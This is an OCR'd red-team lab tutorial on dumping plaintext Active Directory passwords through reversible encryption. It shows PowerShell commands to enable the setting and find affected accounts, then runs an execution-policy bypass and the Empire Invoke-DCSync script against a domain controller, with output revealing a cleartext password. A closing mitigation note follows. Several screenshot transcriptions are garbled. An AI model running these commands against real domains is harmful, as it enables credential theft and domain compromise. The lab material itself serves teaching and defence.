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Credential Dumping — Active Directory Plain Text Password

Introduction

According to MITRE an adversary may abuse Active Directory authentication encryption
properties to gain access to credentials on  Windows systems. The
AllowReversiblePasswordEncryption property specifies whether reversible password
encryption for an account is enabled or disabled. By default this property is disabled (instead
storing user credentials as the output of one-way hashing functions) and should not be enabled
unless legacy or other software require it.

e MITRE TACTIC: Credential Dumping (ID: TAO006)
e MITRE Technique Modify Authentication Process (T1556)
e MITRE SUB ID: Reversible Encryption (T1556.005)

In Domain Controller user account reversible encryption is enabled, which means the encrypted
data can be reversed back to the user’s password. The password stored with reversible
encryption policy is not a hash since a function can be called to get back to the original clear-text
password.

Do you know?

As per Microsoft: If you use the Challenge Handshake Authentication Protocol (CHAP) through
remote access or Internet Authentication Services (IAS), you must enable this policy setting.
CHAP is an authentication protocol that is used by remote access and network connections.
Digest Authentication in Internet Information Services (IIS) also requires that you enable this
policy setting.

Lab Setup

Enabling Reversible encryption in Active Directory Users
There is multiple methods to enable Reversible encryption property:

1) User Account Property

Enable the Reversible encryption by modify the account property for Domain User account.
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https://attack.mitre.org/techniques/T1556/005/
https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption

Logon Hours... Log On To...

[] Unlock account

Account options:

(] User must change password at next logon o
|User cannot change password

(] Password never expires

Store password using reversible encryption W

Account expires

(®) Never
() End of: | Monday ., June 26, 2023

Cancel Apply Help

2) Powershell Command

set-ADUser — AllowReversiblePasswordEncryption Strue

t-ADUser at command pipeline p
ues for the following paramete

3) Group policy Management-
Enable the store password using reversible encryption with Computer Configuration\Windows
Settings\Security Settings\Account Policies\Password Policy\

=/ Group Policy Managerment Editor — d

File Action View Help

o= 75 XE = HE

~ i Computer Cenfiguration * || Policy - Policy Setting

il P'_:'l'c'es _ | Enforce password history Mot Defined
- Sc._f'tware Settl_ngs | Maximum password age Mot Defined
M W|ndows Settmgs. . | Minimum password age Mot Defined
_| Mame Resolution Policy Minimum password length Not Defined

=] Scripts (Startup/Shutdown) X ) ) )
pn Deployed Printers | Password must me compllty reqmreents Mot Defined

w _:,_-:j| Account Policies
- Password Policy
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Validate the property through User’s property-Attribute Editor for UserAccountControl.

user Properties ? *
Published Certificates  Member Of  Password Replication  Dialin  Object
Security Enwironment Sessions Remote control
General Address Account Prafile Telephonesz Organization
Remote Desktop Services Profile COM= Attribute Editor

Agtributes:

Attribute Value 2
thumbnailLogo <not set>

thumbnailPhoto <not set>

title: <not set>

uid <not set>

uidMumber <not set>

unicodePwd <not set>

unixHome Directony <not set>

unixUserPassword <not set>

url <not set>

userAccountControl x280 = { ENCRYPTED_TEXT_PASSWOR
userCert <not sets

userCerificate <not set>

userParameters <not set>

userPassword <not set> &
< >

Edit Fitter
Cancel Apply Help

NOTE: Now if the system Administrator reset the password for the user account, an adversary may be
able to obtain the plaintext of passwords created/changed after the property was enabled.

Enumeration
PowerShell Command to find user enabled with allow reversible password encryption.

Get-ADUser -Filter {AllowReversiblePasswordEncryption -eq "true"} | Select Name, sAMAccountName

dministrator> Get- r {AllowR

countName

Attack: DC-Sync

In our Pervious article we have describe about DCsyn attack, read more from here. You can download the
DC Sync Script tool here.

Commands to execute in the domain controller to check user clear text password.
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https://www.hackingarticles.in/credential-dumping-dcsync-attack/
https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/credentials/Invoke-DCSync.ps1

1. powershell.exe -ep bypass

2. Import-Module .\Invoke-DCSync.ps1

3. Invoke-DCSync -AllData

)} Microsoft Corporation.

* Primary:Kerberos. *

hubusercontent.com/BC-SECURITY/Empire/master/

All rights reserved.

ule .\Invoke-DCSync.psl

Default Salt : IGNITE.LOCALfaisal

Credentials
d cbc_mdS
OldCredentials
des_cbc_mdS

~

SRR ]
s oD oA

tPHnE NTOWF

* Primary:CLEARTEXT *
Admin321
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data/module_so
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Mitigation

e Ensure that Allow Reversible Password Encryption property is set to disabled.
e Group policy store password using reversible encryption is set to disable.

Conclusion
In this article, we were able to decrypt the password of active directory user accounts. This article

can serve as a reference for Red Team activists for Credential Dumping — Active Directory Plain

Text Password.
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